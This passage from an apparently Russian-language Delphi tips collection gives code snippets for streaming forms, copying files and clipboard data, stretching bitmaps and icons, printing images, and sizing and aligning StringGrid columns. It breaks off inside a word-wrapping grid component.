    StrBin.Seek (0, soFromBeginning);
    // convert the form to text
    ObjectResourceToText (StrBin, StrTxt);
    // go back to the beginning
    StrTxt.Seek (0, soFromBeginning);
    // load the text
    FormMemo.Memo1.Lines.LoadFromStream (StrTxt);
    FormMemo.ShowModal;
  finally
    StrBin.Free;
    StrTxt.Free;
    OutputForm.OnMouseDown := OutputForm.FormMouseDown;
  end;
end;
end.
unit MemoF;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Buttons, ExtCtrls;
type
  TFormMemo = class(TForm)
    Memo1: TMemo;
    BitBtn1: TBitBtn;
    Panel1: TPanel;
    BitBtn2: TBitBtn;
    procedure FormResize(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  FormMemo: TFormMemo;
implementation
uses OutForm;
{$R *.DFM}
procedure TFormMemo.FormResize(Sender: TObject);
begin
  // approximately in the middle
  BitBtn1.Left := Panel1.Width div 2 - BitBtn1.Width - 5;
  BitBtn2.Left := Panel1.Width div 2 + 5;
end;
procedure TFormMemo.BitBtn2Click(Sender: TObject);
var
  StrBin, StrTxt: TMemoryStream;
  TempForm1: TOutputForm;
begin
  StrBin := TMemoryStream.Create;
  StrTxt := TMemoryStream.Create;
  // copy the text of the memo
  Memo1.Lines.SaveToStream (StrTxt);
  // go back to the beginning
  StrTxt.Seek (0, soFromBeginning);
  try
    // convert to binary
    ObjectTextToResource (StrTxt, StrBin);
    // go back to the beginning
    StrBin.Seek (0, soFromBeginning);
    // loading code...
    TempForm1 := TOutputForm.Create (Application);
    StrBin.ReadComponentRes (TempForm1);
    OutputForm.Free;
    OutputForm := TempForm1;
    OutputForm.Show;
    // close the memo form
    ModalResult := mrOk;
  except
    on E: Exception do
    begin
      E.Message :=
        'Error converting form'#13#13 +
        '(' + E.MEssage + ')';
      Application.ShowException (E);
    end;
  end;
end;
end.
unit OutForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
  TOutputForm = class(TForm)
    procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  OutputForm: TOutputForm;
implementation
{$R *.DFM}
uses
  InfoForm;
procedure TOutputForm.FormMouseDown (
  Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  MyClass: TComponentClass;
  MyComp: TComponent;
begin
  MyClass := TComponentClass (
    GetClass (MainForm.ComboBox1.Text));
  if MyClass = nil then
    Beep
  else
  begin
    MyComp := MyClass.Create (self);
    MyComp.Name := MainForm.GetNextName (MyClass);
    if MyClass.InheritsFrom (TControl) then
    begin
      TControl (MyComp).Left := X;
      TControl (MyComp).Top := Y;
      TControl (MyComp).Parent := self;
    end;
  end;
  MainForm.UpdateList;
end;
initialization
  RegisterClass (TOutputForm);
end.

Загрузить весь проект

Копирование файлов потоком.

Статьи по Delphi (016)…
unit MemoForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;
type
  TForm1 = class(TForm)
    SaveDialog1: TSaveDialog;
    Memo1: TMemo;
    OpenDialog1: TOpenDialog;
    Panel1: TPanel;
    ButtonLoadMemo: TButton;
    ButtonSaveMemo: TButton;
    ButtonCopyFile: TButton;
    procedure ButtonSaveMemoClick(Sender: TObject);
    procedure ButtonLoadMemoClick(Sender: TObject);
    procedure ButtonCopyFileClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.ButtonSaveMemoClick(Sender: TObject);
var
  MyStream: TFileStream;
begin
  if SaveDialog1.Execute then
  begin
    if FileExists (SaveDialog1.FileName) then
      MyStream := TFileStream.Create (
        SaveDialog1.FileName, fmOpenWrite)
    else
      MyStream := TFileStream.Create (
        SaveDialog1.FileName, fmOpenWrite or fmCreate);
    try
      Memo1.Lines.SaveToStream (MyStream);
    finally
      MyStream.Free;
    end;
  end;
end;
procedure TForm1.ButtonLoadMemoClick(Sender: TObject);
var
  MyStream: TFileStream;
begin
  if OpenDialog1.Execute then
  begin
    MyStream := TFileStream.Create (
      OpenDialog1.FileName, fmOpenRead);
    try
      Memo1.Lines.LoadFromStream (MyStream);
    finally
      MyStream.Free;
    end;
  end;
end;
procedure TForm1.ButtonCopyFileClick(Sender: TObject);
var
  Stream1, Stream2: TFileStream;
begin
  if OpenDialog1.Execute and SaveDialog1.Execute then
  begin
    Stream1 := TFileStream.Create (
      OpenDialog1.FileName, fmOpenRead);
    try
      Stream2 := TFileStream.Create (
        SaveDialog1.FileName, fmOpenWrite or fmCreate);
      try
        Stream2.CopyFrom (Stream1, Stream1.Size);
      finally
        Stream2.Free;
      end;
    finally
      Stream1.Free;
    end;
  end;
end;
end.

Загрузить весь проект

Копирование потока компонент в буфер обмена.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Clipboard has  methods  GetComponent and SetComponent but we need 
  to stream multiple components to the clipboard to include copy paste type 
  of feature. 
  Die Zwischenablage hat die Methoden GetComponent and SetComponent 
  aber wir wollen mehrere Komponenten in die 
  Zwischenablage speichern und wieder auslesen. 
}
 procedure CopyStreamToClipboard(fmt: Cardinal; S: TStream);
 var
   hMem: THandle;
   pMem: Pointer;
 begin
   S.Position := 0;
   hMem       := GlobalAlloc(GHND or GMEM_DDESHARE, S.Size);
   if hMem <> 0 then
    begin
     pMem := GlobalLock(hMem);
     if pMem <> nil then
      begin
       S.Read(pMem^, S.Size);
       S.Position := 0;
       GlobalUnlock(hMem);
       Clipboard.Open;
       try
         Clipboard.SetAsHandle(fmt, hMem);
       finally
         Clipboard.Close;
       end;
     end { If }
     else
      begin
       GlobalFree(hMem);
       OutOfMemoryError;
     end;
   end { If }
   else
     OutOfMemoryError;
 end; { CopyStreamToClipboard }
 procedure CopyStreamFromClipboard(fmt: Cardinal; S: TStream);
 var
   hMem: THandle;
   pMem: Pointer;
 begin
   hMem := Clipboard.GetAsHandle(fmt);
   if hMem <> 0 then
    begin
     pMem := GlobalLock(hMem);
     if pMem <> nil then
      begin
       S.Write(pMem^, GlobalSize(hMem));
       S.Position := 0;
       GlobalUnlock(hMem);
     end { If }
     else
       raise Exception.Create('CopyStreamFromClipboard: could not lock global handle ' +
         'obtained from clipboard!');
   end; { If }
 end; { CopyStreamFromClipboard }

Растянуть растровый рисунок.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// This function stretches a bitmap with specified number of pixels 
// in horizontal, vertical dimension 
// Example Call : ResizeBmp(Image1.Picture.Bitmap , 200 , 200); 
// Diese Funktion zerrt eine Bitmap in die anzugebenden Pixel 
// Beispielaufruf : ResizeBmp(Image1.Picture.Bitmap , 200 , 200); 
function TForm1.ResizeBmp(bitmp: TBitmap; wid, hei: Integer): Boolean;
 var
    TmpBmp: TBitmap;
   ARect: TRect;
 begin
   Result := False;
   try
     TmpBmp := TBitmap.Create;
     try
       TmpBmp.Width  := wid;
       TmpBmp.Height := hei;
       ARect := Rect(0,0, wid, hei);
       TmpBmp.Canvas.StretchDraw(ARect, Bitmp);
       bitmp.Assign(TmpBmp);
     finally
       TmpBmp.Free;
     end;
     Result := True;
   except
     Result := False;
   end;
 end;

Растягивание иконки.

Автор: Bill StretchDraw не работает с иконками. В данной ситуации я бы поступил так: рисовал бы иконку в Timage и затем назначал изображение другому, большему Timage.

Пример кода:

procedure TForm1.StringGrid1Click(Sender: TObject);
begin
  Image1.Canvas.FillRect(Image1.Canvas.ClipRect);
  Image1.Canvas.Draw(0, 0,
  TIcon(StringGrid1.Objects
  [StringGrid1.Col, StringGrid1.Row]));
  Form2.Image1.Picture := Image1.Picture;
end;
{Примечание. Form2.Image1 имеет Stretch установленный
в True и размер, бОльший размера иконки в 4 раза}
Дополнение Андрей Бреслав пишет:

Предложенный способ не работает, ибо компонента TImage использует тот же метод StretchDraw, что и спрашивающий. Растянуть иконку можно так:

procedure TForm1.Button1Click(Sender: TObject);
var
  Bmp: TBitMap;
begin
  Bmp:= TBitMap.Create;
  Bmp.Height:= GetSystemMetrics(SM_CYICON);
  Bmp.Width:= GetSystemMetrics(SM_CXICON);
  Bmp.Canvas.Draw(0,0, Image1.Picture.Icon);
  Image1.Picture.Bitmap:= Bmp;
  Bmp.Free;
end;

Есть более человечный способ, чем просто рисовать в Image: функция DrawIconEx Win32 API:

procedure TForm1.Button1Click(Sender: TObject);
begin
  DrawIconEx(Canvas.Handle, 5, 5, LoadIcon(0, IDI_APPLICATION),
    16, 32, 0, 0, DI_NORMAL);
end;

Кстати, думаю, людям будет полезно знать по подробнее о DrawIconEx: Рисует иконку или курсор в соответствии с заданными занчениями.

function DrawIconEx(hdc: HDC; xLeft, yTop: Integer; hIcon: HICON;
  cxWidth, cyWidth: Integer; istepIfAniCur: UINT;
  hbrFlickerFreeDraw: HBRUSH; diFlags: UINT): BOOL; stdcall;
hdc - контекст устройства (TCanvas.Handle)
  xLeft, yTop - координаты левого верхнего угла
  hIcon - дескриптор объекта Windows - Icon
  cxWidth, cyWidth - размеры
  istepIfAniCur - (!) номер отображаемого кадра в анимированном курсоре
  hbrFlickerFreeDraw - кисть
  diFlags - сумма след. занчений:
DI_COMPAT - буду благодарен, если объясните
DI_DEFAULTSIZE - если cxWidth, cyWidth равны 0, рисует в default размере
DI_IMAGE - применяет одну часть кисти
DI_MASK - применяет другую часть кисти
DI_NORMAL = DI_IMAGE and DI_MASK - применяет обе части кисти

Растягивание изображения при печати.

Я пишу программу, которая печатает изображение на принтере с помощью объекта TPrinter. Проблема происходит когда я пытаюсь "растянуть" изображение до требуемого размера на бумаге. Мой метод растяжения (bitblts и принтерном DC) приводит к белым кляксам, а само изображение получается практически серым. Конечно это не то, что мне хотелось. Кто-нибудь может мне помочь?

Попробуй это:

procedure DrawImage(Canvas: TCanvas; DestRect: TRect; ABitmap:
  TBitmap);
var
  Header, Bits: Pointer;
  HeaderSize: Integer;
  BitsSize: Longint;
begin
  GetDIBSizes(ABitmap.Handle, HeaderSize, BitsSize);
  Header := MemAlloc(HeaderSize);
  Bits := MemAlloc(BitsSize);
  try
    GetDIB(ABitmap.Handle, ABitmap.Palette, Header^, Bits^);
    StretchDIBits(Canvas.Handle, DestRect.Left, DestRect.Top,
      DestRect.Right, DestRect.Bottom,
      0, 0, ABitmap.Width, ABitmap.Height, Bits, TBitmapInfo(Header^),
      DIB_RGB_COLORS, SRCCOPY);
    { вам может понадобиться цветовой стандарт DIB_PAL_COLORS,
    но это уже выходит за рамки моих знаний. }
  finally
    MemFree(Header, HeaderSize);
    MemFree(Bits, BitsSize);
  end;
end;
{ Печатаем изображение, растягивая его до целого листа }
procedure PrintBitmap(ABitmap: TBitmap);
var
  relheight, relwidth: integer;
begin
  screen.cursor := crHourglass;
  Printer.BeginDoc;
  if ((ABitmap.width / ABitmap.height) > l(printer.pagewidth /
    printer.pageheight)) then
  begin
    { Растягиваем ширину изображения до ширины бумаги }
    relwidth := printer.pagewidth;
    relheight := MulDiv(ABitmap.height, printer.pagewidth, ABitmap.width);
  end
  else
  begin
    { Растягиваем высоту изображения до высоты бумаги }
    relwidth := MulDiv(ABitmap.width, printer.pageheight, ABitmap.height);
    relheight := printer.pageheight;
  end;
  DrawImage(Printer.Canvas, Rect(0, 0, relWidth, relHeight), ABitmap);
  Printer.EndDoc;
  screen.cursor := crDefault;
end;

Авторазмер для StringGrid.

...да, реально это утомляет, но эту проблему можно решить программным путем (это нужно делать после того, как вы загрузите данные, или же, если вы загружаете данные по столбцам, их загружать в самом цикле, приведенном ниже):

var
  i, j, temp, max: integer;
begin
  for i := 0 to grid.colcount - 1 do
  begin
    max := 0;
    for j := 0 to grid.rowcount - 1 do
    begin
      temp := grid.canvas.textWidth(grid.cells[i, j]);
      if temp > max then
        max := temp;
    end;
    grid.colWidths[i] := max + grid.gridLineWidth + 1;
  end;
end;

Вероятно, вам необходимо будет добавить +1, чтобы текст не прилипал к границам ячеек.

В StringGrid ширина колонки подгоняется под длину самой длинной строки.

Поскольку в компоненте StringGrid по умолчанию все столбцы имеют одинаковую ширину - в некоторых ячейках текст обрезается. Чтобы этого избежать, после заполнения StringGrid нужно для каждого столбца находить текст максимальной длины и в соответствии с его длиной устанавливать ширину всего столбца.

var
  x, y, w: integer;
  s: string;
  MaxWidth: integer;
begin
  with StringGrid1 do
    ClientHeight := DefaultRowHeight * RowCount + 5;
    with StringGrid1 do
    begin
      for x := 0 to ColCount - 1 do
      begin
        MaxWidth := 0;
        for y := 0 to RowCount - 1 do
        begin
          w := Canvas.TextWidth(Cells[x,y]);
          if w > MaxWidth then
            MaxWidth := w;
        end;
        ColWidths[x] := MaxWidth + 5;
      end;
    end;
end;

Выравнивание колонок StringGrid.

Автор: Kurt
Два программиста едут в переполненном автобусе. Один - другому: - Что то у меня с писюком! (толпа замирает) - А что с ним? - Да висит часто... - Может вирус какой? - Да проверял, все стерильно... - А висит хорошо? - Крепко, тремя пальцами не поможешь...

Организуйте обработчик события сетки OnDrawCell. Создайте код обработчика подобный этому:

procedure TForm1.StringGrid1DrawCell(Sender: TObject; Col, Row: Longint;
  Rect: TRect; State: TGridDrawState);
var
  Txt: array[0..255] of Char;
begin
  StrPCopy(Txt, StringGrid1.Cells[Col, Row]);
  SetTextAlign(StringGrid1.Canvas.Handle,
    GetTextAlign(StringGrid1.Canvas.Handle)
    and not (TA_LEFT or TA_CENTER) or TA_RIGHT);
  ExtTextOut(StringGrid1.Canvas.Handle, Rect.Right - 2, Rect.Top + 2,
    ETO_CLIPPED or ETO_OPAQUE, @Rect, Txt, StrLen(Txt), nil);
end;
Поэкспериментируйте с кодом и посмотрите на результаты, прежде чем решить как вам больше нравится.

Успехов.

Выравнивание колонок StringGrid 2.

Нижеприведенный код выравняет данные компонента по правому краю:

procedure TForm1.StringGrid1DrawCell(Sender: TObject; Col, Row:
  Longint; Rect: TRect; State: TGridDrawState);
var
  lRow, lCol: Longint;
begin
  lRow := Row;
  lCol := Col;
  with Sender as TStringGrid, Canvas do
  begin
    if (gdSelected in State) then
    begin
      Brush.Color := clHighlight;
    end
    else if (gdFixed in State) then
    begin
      Brush.Color := FixedColor;
    end
    else
    begin
      Brush.Color := Color;
    end;
    FillRect(Rect);
    SetBkMode(Handle, TRANSPARENT);
    SetTextAlign(Handle, TA_RIGHT);
    TextOut(Rect.Right - 2, Rect.Top + 2, Cells[lCol, lRow]);
  end;
end;
Хитрость заключается в установке выравнивания текста TA_RIGHT, позволяющей осуществлять вывод текста, начиная с правой стороны (от правой границы). Не бойтесь, текст не будет напечатан задом наперед!

Вы наверное уже обратили внимание на объявление локальных переменных lCol и lRow. На входе я присваиваю им значения параметров Col и Row (имя, которое дало мне Delphi IDE). Дело в том, что объект TStringGrid имеет свойства с именами Col и Row. Эти свойства будут доступны в теле блока "with Sender as TStringGrid", но они не являются параметрами для всех обявленных в шапке блока объектов ((речь идет об объекте Canvas, у которого нет свойств с именами Col и Row - В.О.)).

Выравнивание колонок StringGrid 3.

Вот некоторый код, который делает то, что вы хотите:

procedure WriteText(ACanvas: TCanvas; const ARect: TRect; DX, DY: Integer;
  const Text: string; Format: Word);
var
  S: array[0..255] of Char;
  B, R: TRect;
begin
  with ACanvas, ARect do
  begin
    case Format of
      DT_LEFT: ExtTextOut(Handle, Left + DX, Top + DY, ETO_OPAQUE or
        ETO_CLIPPED,
          @ARect, StrPCopy(S, Text), Length(Text), nil);
      DT_RIGHT: ExtTextOut(Handle, Right - TextWidth(Text) - 3, Top + DY,
          ETO_OPAQUE or ETO_CLIPPED, @ARect, StrPCopy(S, Text),
          Length(Text), nil);
      DT_CENTER: ExtTextOut(Handle, Left + (Right - Left - TextWidth(Text)) div
        2,
          Top + DY, ETO_OPAQUE or ETO_CLIPPED, @ARect,
          StrPCopy(S, Text), Length(Text), nil);
    end;
  end;
end;
procedure TBEFStringGrid.DrawCell(Col, Row: Longint; Rect: TRect; State:
  TGridDrawState);
var
  procedure Display(const S: string; Alignment: TAlignment);
  const
    Formats: array[TAlignment] of Word = (DT_LEFT, DT_RIGHT, DT_CENTER);
  begin
    WriteText(Canvas, Rect, 2, 2, S, Formats[Alignment]);
  end;
begin
  { здесь задаем аргументы Col и Row, и форматируем как угодно ячейки }
  case Row of
    0: { Центрирование заголовков колонок }
      if (Col < ColCount) then
        Display(Cells[Col, Row], taCenter)
      else
        { Все другие данные имеют правое центрирование }
        Display(Cells[Col, Row], taRight);
  end;
end;

Выравнивание колонок StringGrid 4.

Создайте ваш собственный метод drawcell на примере того, что приведен ниже:

procedure Tsearchfrm.Grid1DrawCell(Sender: TObject; Col, Row: Longint;
  Rect: TRect; State: TGridDrawState);
var
  l_oldalign: word;
begin
  if (row = 0) or (col < 2) then
    {устанавливаем заголовок в жирном начертании}
    grid1.canvas.font.style := grid1.canvas.font.style + [fsbold];
  if col <> 1 then
  begin
    l_oldalign := settextalign(grid1.canvas.handle, ta_right);
    {NB использует для рисования правую сторону квадрата}
    grid1.canvas.textrect(rect, rect.right - 2, Rect.top + 2, grid1.cells[col,
      row]);
    settextalign(grid1.canvas.handle, l_oldalign);
  end
  else
  begin
    grid1.canvas.textrect(rect, rect.left + 2, rect.top + 2, grid1.cells[col,
      row]);
  end;
  grid1.canvas.font.style := grid1.canvas.font.style - [fsbold];
end;

Выравнивание колонок StringGrid 5.

Автор: Pavel Stont.

{
Код компонента для Delphi на основе стандартного TStringGrid.
Компонет позволяет переносить текст в TStringGrid.
В качестве исходного текста был использован компонент TWrapGrid.
Автор Luis J. de la Rosa.
E-mail: delarosa@ix.netcom.com
Вы свободны в использовании, распространении и улучшении кода.
Пожалуйста шлите любые комментарии и пожелания на адрес delarosa@ix.netcom.com.
Далее были внесены изменения в исходный код, а именно добавлены методы вывода
текста:
1. atLeft - Вывод текста по левой границе;
2. atCenter - Вывод текста по центру ячейки (по горизонтали);
3. atRight - Вывод текста по правой границе;
4. atWrapTop - Вывод и перенос текста по словам относительно верхней границы
ячейки;
5. atWrapCenter - Вывод и перенос текста по словам относительно центра ячейки
(по вертикали);
6. atWrapBottom - Вывод и перенос текста по словам относительно нижней границы
ячейки;
Вносил изменения и тестировал в Delphi 3/4/5:
Автор Pavel Stont.
E-mail: pavel_stont@mail.ru.
Никаких ограничений на использование, распростанение и улучшение кода не налогаются.
Буду очень признателен, если о всех замеченных неполадках сообщите по e-mail.
Для использования:
Выберите в Delphi пункты меню 'Options' - 'Install Components'.
Нажмите 'Add'.
Найдите и выберите файл с именем 'NewStringGrid.pas'.
Нажмите 'OK'.
После этого вы увидете компонент во вкладке "Other" палитры компонентов
Delphi.
После этого вы можете использовать компонент вместо стандартного TStringGrid.
Успехов!
Несколько дополнительных замечаний по коду:
1. Методы Create и DrawCell были перекрыты.
2. Введены два новых свойства, а именно AlignText и AlignCaption соответсвенно методы
выравнивания текста в ячейках данных (обычно - белого цвета) и в фиксированных ячейках
(обычно - серого цвета).
3. Свойство Center - центрация текста по горизонтали независимо от метода.
}
unit NewStringGrid;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Grids;
type
  TAlignText = (atLeft, atCenter, atRight, atWrapTop, atWrapCenter,
    atWrapBottom);
type
  TNewStringGrid = class(TStringGrid)
  private
    { Private declarations }
    FAlignText: TAlignText;
    FAlignCaption: TAlignText;
    FCenter: Boolean;
    procedure SetAlignText(Value: TAlignText);
    procedure SetAlignCaption(Value: TAlignText);
    procedure SetCenter(Value: Boolean);
  protected
    { Protected declarations }
    procedure DrawCell(ACol, ARow: Longint; ARect: TRect;
      AState: TGridDrawState); override;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
  published
    { Published declarations }
    property AlignText: TAlignText read FAlignText write SetAlignText;
    property AlignCaption: TAlignText read FAlignCaption write SetAlignCaption;
    property Center: Boolean read FCenter write SetCenter;
  end;
procedure Register;
implementation
procedure Register;
begin
  RegisterComponents('Other', [TNewStringGrid]);
end;
{ TNewStringGrid }
constructor TNewStringGrid.Create(AOwner: TComponent);
begin
  { Создаем TStringGrid }
  inherited Create(AOwner);
  { Задаем начальные параметры компонента }
  AlignText := atLeft;
  AlignCaption := atCenter;
  Center := False;
  DefaultColWidth := 80;
  DefaultRowHeight := 18;
  Height := 100;
  Width := 408;
  { Заставляем компонент перерисовываться нашей процедурой
  по умолчанию DrawCell }
  DefaultDrawing := FALSE;
end;
{ Процедура DrawCell осуществляет перенос текста в ячейке }
procedure TNewStringGrid.DrawCell(ACol, ARow: Integer; ARect: TRect;
  AState: TGridDrawState);
var
  CountI, { Счетчик }
  CountWord: Integer; { Счетчик }
  Sentence, { Выводимый текст }
  CurWord: string; { Текущее выводимое слово }
  SpacePos, { Позиция первого пробела }
  CurXDef, { X-координата 'курсора' по умолчанию }
  CurYDef, { Y-координата 'курсора' по умолчанию }
  CurX, { Х-координата 'курсора' }
  CurY: Integer; { Y-координата 'курсора' }
  EndOfSentence: Boolean; { Величина, указывающая на заполненность ячейки }
  Alig: TAlignText; { Тип выравнивания текста }
  ColPen: TColor; { Цвет карандаша по умолчанию }
  MassWord: array[0..255] of string;
  MassCurX, MassCurY: array[0..255] of Integer;
  LengthText: Integer; { Длина текущей строки }
  MassCurYDef: Integer;
  MeanCurY: Integer;
  procedure VisualCanvas;
  begin
    { Прорисовываем ячейку и придаем ей 3D-вид }
    with Canvas do
    begin
      { Запоминаем цвет пера для последующего вывода текста }
      ColPen := Pen.Color;
      if gdFixed in AState then
      begin
        Pen.Color := clWhite;
        MoveTo(ARect.Left, ARect.Top);
        LineTo(ARect.Left, ARect.Bottom);
        MoveTo(ARect.Left, ARect.Top);
        LineTo(ARect.Right, ARect.Top);
        Pen.Color := clBlack;
        MoveTo(ARect.Left, ARect.Bottom);
        LineTo(ARect.Right, ARect.Bottom);
        MoveTo(ARect.Right, ARect.Top);
        LineTo(ARect.Right, ARect.Bottom);
      end;
      { Восстанавливаем цвет пера }
      Pen.Color := ColPen;
    end;
  end;
  procedure VisualBox;
  begin
    { Инициализируем шрифт, чтобы он был управляющим шрифтом }
    Canvas.Font := Font;
    with Canvas do
    begin
      { Если это фиксированная ячейка, тогда используем фиксированный цвет }
      if gdFixed in AState then
      begin
        Pen.Color := FixedColor;
        Brush.Color := FixedColor;
      end
        { в противном случае используем нормальный цвет }
      else
      begin
        Pen.Color := Color;
        Brush.Color := Color;
      end;
      { Рисуем подложку цветом ячейки }
      Rectangle(ARect.Left, ARect.Top, ARect.Right, ARect.Bottom);
    end;
  end;
  procedure VisualText(Alig: TAlignText);
  begin
    case Alig of
      atLeft:
        begin
          with Canvas do
            { выводим текст }
            TextOut(CurX, CurY, Sentence);
          VisualCanvas;
        end;
      atRight:
        begin
          with Canvas do
            { выводим текст }
            TextOut(ARect.Right - TextWidth(Sentence) - 2, CurY, Sentence);
          VisualCanvas;
        end;
      atCenter:
        begin
          with Canvas do
            { выводим текст }
            TextOut(ARect.Left + ((ARect.Right - ARect.Left -
              TextWidth(Sentence)) div 2), CurY, Sentence);
          VisualCanvas;
        end;
      atWrapTop:
        begin
          { для каждого слова ячейки }
          EndOfSentence := FALSE;
          CountI := 0;
          while CountI <= SpacePos do
          begin
            MassWord[CountI] := '';
            CountI := CountI + 1;
          end;
          CountI := 0;
          CountWord := CurY;
          while (not EndOfSentence) do
          begin
            { для получения следующего слова ищем пробел }
            SpacePos := Pos(' ', Sentence);
            if SpacePos > 0 then
            begin
              { получаем текущее слово плюс пробел }
              CurWord := Copy(Sentence, 0, SpacePos);
              { получаем остальную часть предложения }
              Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) -
                SpacePos);
            end
            else
            begin
              { это - последнее слово в предложении }
              EndOfSentence := TRUE;
              CurWord := Sentence;
            end;
            with Canvas do
            begin
              { если текст выходит за границы ячейки }
              LengthText := TextWidth(CurWord) + CurX + 2;
              if LengthText > ARect.Right then
              begin
                { переносим на следующую строку }
                CurY := CurY + TextHeight(CurWord);
                CurX := CurXDef + 2;
              end;
              if CountWord <> CurY then
                CountI := CountI + 1;
              MassWord[CountI] := MassWord[CountI] + CurWord;
              { увеличиваем X-координату курсора }
              CurX := CurX + TextWidth(CurWord);
              CountWord := CurY;
            end;
          end;
          with Canvas do
          begin
            CountWord := 0;
            CurY := CurYDef + 2;
            CurX := CurXDef + 2;
            while CountWord <= CountI do
            begin
              case Center of
                True:
                  begin
                    CurWord := MassWord[CountWord];
                    if Copy(CurWord, Length(CurWord) - 1, 1) = ' ' then
                      MassWord[CountWord] := Copy(CurWord, 0, Length(CurWord) -
                        1);
                    MassCurX[CountWord] := ARect.Left + ((ARect.Right -
                      ARect.Left - TextWidth(MassWord[CountWord])) div 2);
                    MassWord[CountWord] := CurWord;
                  end;
                False: MassCurX[CountWord] := CurX;
              end;
              MassCurY[CountWord] := CurY;
              { выводим слово }
              TextOut(MassCurX[CountWord], MassCurY[CountWord],
                MassWord[CountWord]);
              CurY := CurY + TextHeight(MassWord[CountWord]);
              CountWord := CountWord + 1;
            end;
          end;
          VisualCanvas;
        end;
      atWrapCenter:
        begin
          { для каждого слова ячейки }
          EndOfSentence := FALSE;
          CountI := 0;
          while CountI <= SpacePos do
          begin
            MassWord[CountI] := '';
            CountI := CountI + 1;
          end;
          CountI := 0;
          CountWord := CurY;
          while (not EndOfSentence) do
          begin
            { для получения следующего слова ищем пробел }
            SpacePos := Pos(' ', Sentence);
            if SpacePos > 0 then
            begin
              { получаем текущее слово плюс пробел }
              CurWord := Copy(Sentence, 0, SpacePos);
              { получаем остальную часть предложения }
              Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) -
                SpacePos);
            end
            else
            begin
              { это - последнее слово в предложении }
              EndOfSentence := TRUE;
              CurWord := Sentence;
            end;
            with Canvas do
            begin
              { если текст выходит за границы ячейки }
              LengthText := TextWidth(CurWord) + CurX + 2;
              if LengthText > ARect.Right then
              begin
                { переносим на следующую строку }
                CurY := CurY + TextHeight(CurWord);
                CurX := CurXDef + 2;
              end;
              if CountWord <> CurY then
                CountI := CountI + 1;
              MassWord[CountI] := MassWord[CountI] + CurWord;
              { увеличиваем X-координату курсора }
              CurX := CurX + TextWidth(CurWord);
              CountWord := CurY;
            end;
          end;
          with Canvas do
          begin
            CountWord := 0;
            CurX := CurXDef + 2;
            while CountWord <= CountI do
            begin
              case Center of
                True:
                  begin
                    CurWord := MassWord[CountWord];
                    if Copy(CurWord, Length(CurWord) - 1, 1) = ' ' then
                      MassWord[CountWord] := Copy(CurWord, 0, Length(CurWord) -
                        1);
                    MassCurX[CountWord] := ARect.Left + ((ARect.Right -
                      ARect.Left - TextWidth(MassWord[CountWord])) div 2);
                    MassWord[CountWord] := CurWord;
                  end;
                False: MassCurX[CountWord] := CurX;
              end;
              MassCurY[CountWord] := TextHeight(MassWord[CountWord]);
              CountWord := CountWord + 1;
            end;
            CountWord := 0;
            MassCurYDef := 0;
            while CountWord <= CountI do
            begin
              MassCurYDef := MassCurYDef + MassCurY[CountWord];
              CountWord := CountWord + 1;
            end;
            MassCurYDef := (ARect.Bottom - ARect.Top - MassCurYDef) div 2;
            CountWord := 0;
            MeanCurY := 0;
            while CountWord <= CountI do
            begin
              MassCurY[CountWord] := ARect.Top + MeanCurY + MassCurYDef;
              MeanCurY := MeanCurY + TextHeight(MassWord[CountWord]);
              CountWord := CountWord + 1;
            end;
            CountWord := -1;
            while CountWord <= CountI do
            begin
              CountWord := CountWord + 1;
              if MassCurY[CountWord] < (ARect.Top + 2) then
                Continue;
              { выводим слово }
              TextOut(MassCurX[CountWord], MassCurY[CountWord],
                MassWord[CountWord]);
            end;
          end;
          VisualCanvas;
        end;
      atWrapBottom:
        begin
          { для каждого слова ячейки }
          EndOfSentence := FALSE;
          CountI := 0;
          while CountI <= SpacePos do
          begin
            MassWord[CountI] := '';
            CountI := CountI + 1;
          end;
          CountI := 0;
          CountWord := CurY;
          while (not EndOfSentence) do
          begin
            { для получения следующего слова ищем пробел }
            SpacePos := Pos(' ', Sentence);
            if SpacePos > 0 then
            begin
              { получаем текущее слово плюс пробел }
              CurWord := Copy(Sentence, 0, SpacePos);
              { получаем остальную часть предложения }
              Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) -
                SpacePos);
            end
            else
            begin
              { это - последнее слово в предложении }
              EndOfSentence := TRUE;
              CurWord := Sentence;
            end;
            with Canvas do
            begin
              { если текст выходит за границы ячейки }
              LengthText := TextWidth(CurWord) + CurX + 2;
              if LengthText > ARect.Right then
              begin
                { переносим на следующую строку }
                CurY := CurY + TextHeight(CurWord);
                CurX := CurXDef + 2;
              end;
              if CountWord <> CurY then
                CountI := CountI + 1;
              MassWord[CountI] := MassWord[CountI] + CurWord;
              { увеличиваем X-координату курсора }
              CurX := CurX + TextWidth(CurWord);
              CountWord := CurY;
            end;
          end;
          with Canvas do
          begin
            CountWord := 0;
            CurX := CurXDef + 2;
            while CountWord <= CountI do
            begin
              case Center of
                True:
                  begin
                    CurWord := MassWord[CountWord];
                    if Copy(CurWord, Length(CurWord) - 1, 1) = ' ' then
                      MassWord[CountWord] := Copy(CurWord, 0, Length(CurWord) -
                        1);
                    MassCurX[CountWord] := ARect.Left + ((ARect.Right -
                      ARect.Left - TextWidth(MassWord[CountWord])) div 2);
                    MassWord[CountWord] := CurWord;
                  end;
                False: MassCurX[CountWord] := CurX;
              end;
              MassCurY[CountWord] := TextHeight(MassWord[CountWord]);
              CountWord := CountWord + 1;
            end;
            CountWord := 0;
            MassCurYDef := 0;
            while CountWord <= CountI do
            begin
              MassCurYDef := MassCurYDef + MassCurY[CountWord];
